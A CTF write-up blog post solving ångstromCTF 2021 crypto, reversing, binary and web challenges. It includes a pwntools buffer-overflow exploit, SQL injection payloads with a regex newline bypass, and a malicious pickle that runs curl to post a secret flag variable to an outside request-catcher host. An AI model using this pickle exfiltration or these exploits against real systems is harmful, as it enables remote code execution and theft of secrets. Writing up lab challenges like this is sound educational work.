ångströmCTF 2021 - Writeups

Writeups on a few of the challenges in ångstromCTF 2021. A bit of everything - crypto (XOR-AND ECB), rev, web...

Preamble   Second CTF, spent time learning tools, general good time, we (Team Steam Stream) took the 60th place on the scoreboard, oh, and I refuse to type the name without the ö!

Table of Contents
Crypto | Oracle of Blair | I'm so Random | Follow the Currents | Home Rolled Crypto
Rev | Infinity Gauntlet
Binary | Tranquil | RAIId Shadow Legends
Web | Jar | Sea of Quills

Note   Most of the code is in this github repo.


Oracle of Blair

Not to be confused with the ORACLE of Blair.

Todo: I really want to improve on the explanation here

We're given a service that decrypts a hex string of our choice and its source. The code is pretty simple - gets a few random bytes, fromhex's our input, and replaces sequences of 7b7d / b'{}'¨ with the flag. Lastly, it decrypts the input with AES-CBC. There's no obvious way to exploit the code itself, and it's a crypto challenge, so lets move on.

I'll begin with an overview of the decryption process. It's not specific to AES but rather to any block cipher in CBC / cipher block chaining mode.

The decryption process in a nutshell is to take the ciphertext, do some magic and XOR it with either the initialization vector in the first round or the ciphertext (!) from the previous round.

Good thing is - we can either control or calculate quite a few things here! The initialization vector (IV) doesn't matter since it only affects the first block. We can also choose the ciphertext in some blocks.

What's left is the output from the boxes of unspeakable horrors (or just simply the AES decryption process). Calculating them is a sort of backtracking process. Pick a block where we know the ciphertext of the previous block, XOR it with the plaintext of the current block and voila.

The arrows in the CBC illustration can be a bit misleading. If we have the output of one of the decryption steps we can XOR with the plaintext and find the ciphertext. What's left is to do this for the 2 blocks that contain the flag!

input = ffffffffffffffffffffffffffffffff7b7dffffffffffffffffffffffffffffffffffffffffffffff
output = 6e1e5df4cfcfa63901d1927dad99a1d4e59c2a5ea6e22756639afdfff3794ad40fd5ac36e8a6f60d6cbad6cfabfafbeaf2a52e8d8fd4645ee429d05a5124faa3

result = "actf{cbc_more_like_ecb_c}"

Flag: actf{cbc_more_like_ecb_c}

Like, So Rändom (I'm so Random)

Aplet's quirky and unique so he made my own PRNG! It's not like the other PRNGs, its absolutely unbreakable!

This is a fun one! We're given a random number generator and are tasked to predict a sequence to get the flag. The code is as follows.

class Generator():
    DIGITS = 8
    def __init__(self, seed):
        self.seed = seed
        assert(len(str(self.seed)) == self.DIGITS)

    def getNum(self):
        self.seed = int(str(self.seed**2).rjust(self.DIGITS*2, "0")[self.DIGITS//2:self.DIGITS + self.DIGITS//2])
        return self.seed
# Simplified version
class Generator():
    def __init__(self, seed):
        self.seed = seed

    def getNum(self):
        self.seed = int(str(self.seed**2).rjust(16, "0")[4:12])
        return self.seed

Things to note is that the sequence is generated by 2 generators multiplied together, otherwise we could've just used the current number as a seed. We also get up to 3 random numbers from the sequence before we have to start guessing.

Solving the challenge is fairly from this point on. The first step is to get a list of possible generator pairs by finding the divisors of the first random number. Next, is to check the next number against the list of generators until there's one candidate left.

I went a bit overboard and implemented a concurrent divisor calculator, it's pretty speedy. Since the code is a bit too long its in the GitHub repo for this post.

Flag: actf{middle_square_method_more_like_middle_fail_method}

Follow the Currents

go with the flow...

This challenge uses a custom keystream to XOR-encrypt the flag. The issue is - the key just takes 2 bytes from urandom. Brutefooooorce!

for i in range(0, 2**16):
	plain = []
	k = keystream(i.to_bytes(2, 'little'))
	for i in ciphertext:
		plain.append(i ^ next(k))
	plain = bytes(plain)
	if b'actf' in plain:

Flag: actf{low_entropy_keystream}

Home Rolled Crypto

Aplet made his own block cipher! Can you break it?

Another block cipher! But this time it's a custom one, lets call it a AND-XOR ECB cipher for searchability. The approach was more or less to unroll the encryption "rounds" and reverse the key.

def __block_encrypt(self, block):
    enc = int.from_bytes(block, "big")
    for i in range(3):
        k = int.from_bytes(self.key[i*16:(i+1)*16], "big")
        enc &= k
        enc ^= k
    return hex(enc)[2:].rjust(16*2, "0")

Each round uses a different key and there isn't any sneaky rotation or weird operations. This means that it can be collapsed to a simple c(p) = (p & k1) ^ k2. No need for the 192bit key, and since there's an XOR getting k2 is as simple as setting p to 0.

Next step is to find k1, which is a bit more involved. My implementation checked every bit (by left-shifting p=0x1) and checking if c(p) != k2 => k2 = k2 | p. This works since the XOR of two identical bits is 0. Thus, if we're correct in guessing a bit, the ciphertext should be different from the key used for the XOR step!

Since the code to get the solution is a bit too long, it can be found in the GitHub repo.

Flag: actf{no_bit_shuffling_is_trivial}


Infinity Gauntlet

All clam needs to do is snap and finite will turn into infinite...

Apparently I completely forgot about operator precedence in C when solving this. That means that it took an embarassingly long time to solve it. Anywhoo...Reversing the challenge required a few steps.

Infinity Gauntlet generates and asks the user to solve equations with one unknown. There are two kinds of equations - foo(a,b) = c and bar(a,b,c)=d. When decompiling there are two unused functions that match the names.

unsigned int foo(unsigned int a, int b)

  return b + 1U ^ a ^ 1337;

int bar(int a, int b, int c)

  return (c + 1) * b + a;
foo and bar decompiled with Ghidra

Next part is to figure out how to get the flag. There are two suspiscious blocks of code that either do something with the flag buffer or depend on the current round.

The flag scrambler

The first suspiscious bit is the flag scrambling block. It initializes ECX/CL to 0 and then XOR's it with the flag. So we're definitely going to need to implement an unscrambling function!

We're branching on the current round

The second part is this, where the code is branching depending on the number of rounds. In the left block it simply gets a random value, in the right block it fetches a char from the flag buffer and combines it with the random number used to select the character! What's interesting is that the EBX register where the result is stored is later only used when checking if the answer is correct. It means that the answers contain the flag.

With these parts in hand we "just" need to implement the 7 solvers, the flag unscrambler, and flag retriever. Careful, the implementation in the repo isn't ideal (it is a CTF after all!). It has a solver for each type of equation and a postprocessing "solver" for the results. These are run by a simple Python script that connects to the remote server that has the flag.

There's also a bug somewhere, so the flag returned has the first 3 bytes garbled. But since the flag format is consistent manually adding the correct prefix is easy.

Flag: actf{snapped_away_the_end}



Finally, inner peace - Master Oogway

Onto the binary challenges! Although I'm not sure if it makes things easier to have the source code. Nevertheless, Tranquil has a classic buffer overflow exploit waiting for us. If we write enough bytes, and at the right place we can cause the function to return to the wrong place.

char password[64];
puts("Enter the secret word: ");
See! It uses gets, and oooh boooy that function is dangerous! Even says so in the manual

The first step is to find where the return pointer is stored so that we can write over it. I used pwntools to create a De Bruijn sequence. A fancy way of saying a sequence where it's easy to find the index of a sequence of bytes.

$ cyclic 100 > cyclic.txt
$ gdb tranquil
  pwndbg> r < cyclic.txt
  Starting program: ./tranquil < cyclic.txt
  Enter the secret word:
  Login failed!
  Program received signal SIGSEGV, Segmentation fault.
  ─[ DISASM ]─
   ► 0x401260 <vuln+92>    ret    <0x 61616174 61616173>
$ cyclic -l 0x61616173

Armed with the knowledge of which part of the string is used as a return address we can write the exploit. Since typing bytes can't easily done in a shell (and also it's a 76 byte sequence!) I wrote a Python script. It finds the address for the flag printing function and sends it to the server.

context.binary = e = ELF('./tranquil')
rop = ROP(e)
rop.call('win')         # Get the address to the flag printing function
payload = cyclic(72)    # Add the random bytes
payload += rop.chain()  # Add the address

# Send the bytes to the remote server
io = remote('shell.actf.co', 21830)

Flag: actf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}

RAIId Shadow Legends

I love how C++ initializes everything for you. It makes things so easy and fun!
Speaking of fun, play our fun new game RAIId Shadow Legends.

Not sure how fun the game is...riddled with mail-order microtransactions! But, it also contains sneaky uninitialized values for us to exploit!

Before entering the game loop the game asks one to accept the terms and conditions by typing yes. These are read into a C++ string via std::cin. The main game loop creates a character struct but never initialized it (except for the name).

C++ handles strings differently depending on their size. If the string is smaller than 16 characters it will be placed "in-place". This means that if we type zzz123 the 123 part will stay on the stack!

From looking at the code we need to set our skill to 1337 to get the flag. After a bit of trial and error since I didn't have the exact offset I arrived at the following payload - 123\x39\x39\x05.

Flag: actf{great_job!_speaking_of_great_jobs,_our_sponsor_audible...} THEY LIED ABOUT THE FLAG FORMAT

Spraying water, supposedly at the creator of the chall for lying about the flag format
Lying about the flag format being [A-Za-z_-] >:( (Sticker by @LordPulex)



My other pickle challenges seem to be giving you all a hard time, so here's a simpler one to get you warmed up.

Jar let's you upload base64 encoded Python pickles. The solution - create a mostly harmless pickle that runs a totally harmless command ;)

import os
import pickle
import base64

class MostlyHarmless:
    def __reduce__(self):
        return (os.system, ('curl -X POST -d $FLAG https://picklesarecool.requestcatcher.com/test',))


There are tons of much better explanations of how pickles work. I'm not even remotely qualified. Here's a link to an interesting/good writeup on Jar/pickles specifically!

Sea of Quills (2)

Come check out our finest selection of quills!

Sea of Quills lets us send a post request to find specific quills. This request takes 3 parameters that are executed on a SQLite database by this terrifying line:

@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])

There is some preprocessing before executing the query though. lim and offset are checked that they're numbers using a regex - /^[0-9]+$/. This is what you use for Sea of Quills 2. Ruby has a notoriously dangerous property where the regex checks up until a newline. So just add %0A and it'll pass the regex check!

For Sea of Quills 1 the payload is just a simple flag FROM flagtable UNION SELECT name in cols. To find the correct table one could use name FROM sqlite_master UNION SELECT name.

And that's it for this instalment of CTF writeups. Didn't have the time to properly polish them up and make them more explain-y. Although, I have plans to revisit a few of them!

(Sticker by @LordPulex)

Update log:

- 13-04-21 Added links to GitHub in places where they should have been
- 11-04-21 Fixed a minor mistake in tranquil, added some alt text to images.
- 09-04-21 Updated search title to angstromCTF because searchability was terrible. I failed in my quest to refuse typing it properly.